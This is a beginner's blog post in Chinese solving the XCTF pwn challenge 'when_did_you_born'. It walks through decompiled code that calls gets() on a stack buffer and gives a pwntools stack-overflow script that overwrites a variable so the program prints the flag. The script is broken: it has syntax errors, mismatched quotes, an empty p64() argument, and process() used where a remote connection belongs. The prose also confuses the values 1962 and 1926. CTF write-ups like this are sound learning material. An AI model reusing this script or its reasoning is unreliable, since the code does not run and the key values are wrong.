攻防世界:pwn新手区 when_did_you_born

首先拿到elf文件(刚开始并不知道是elf文件)(这是Linux下的运行文件,类似windows的exe)

攻防世界:pwn新手区 when_did_you_born

文件我更名成“bron”,再在Linux系统下用flie指令识别文件信息。

发现文件为x86-64位,并且为Linux下运行的文件。

我先尝试运行bron文件。

攻防世界:pwn新手区 when_did_you_born

先不管运行结果,查一下“bron”程序的保护。

攻防世界:pwn新手区 when_did_you_born

发现 canary found(金丝雀保护),但不用管,canary保护没开。

将文件丢入ida看一下

找到main函数,如果看不懂汇编就直接F5,生成伪代码(有时候伪代码并不可靠)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != 10 )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

 

伪代码是类似c语言的代码,如果有看不懂的地方直接略过,主要观察if(),while()函数。

一般在pwn题中出现gtes(),就有可能出现栈溢出,之前运行程序时有两个获取字符串,一个"What's Your Birth?",一个"What's Your Name?"。

观察伪代码第一次字符串v5获取,如果输入1962,就会出现You Cannot Born In 1926!的返回字符串。然后观察获取第二次字符串v4,第二次if()需要第一次v5是1962.然后这就发生了矛盾。

这道pwn题,是用栈溢出来解题。

何为栈溢出?

缓冲区溢出:简单的说,缓冲区溢出就是超长的数据向小缓冲区复制,导致数据超出了小缓冲区,导致缓冲区其他的数据遭到破坏,这就是缓冲区溢出。而栈溢出是缓冲区溢出的一种,也是最常见的。只不过栈溢出发生在栈,堆溢出发生在堆,其实都是一样的。(复制粘贴的)

通俗易讲,就是用垃圾数据覆盖内存,在想要的位置输入1962这个字符串。

攻防世界:pwn新手区 when_did_you_born

覆盖中间的内存

python脚本覆盖内存,然后content改为0,连接远程ip地址(复制别人的代码,才刚刚开始学python不会写。)

from pwn import *

context(os='linux', arch="amd64", log_level="debug")
content = 1

def main()
        if content == 1:
             peiqi = process(“文件名")
        else:
             peiqi = process(ip地址)

     payload = b'a'*(0x20 - 0x18) + p64()
  
     peiqi.recvuntil("What's Your Birth?\n")
     peiqi.sendline("1111")

     peiqi.recvuntil("What's Your Name?\n")
     peiqi.sendline(payload)

     peiqi.interactive()

main

 

最后就获得flag了。

 

(第一次写博客,有些不对的地方请指正)

上一篇:css悬停效果


下一篇:20210226计算机科学速成课40集(31-33)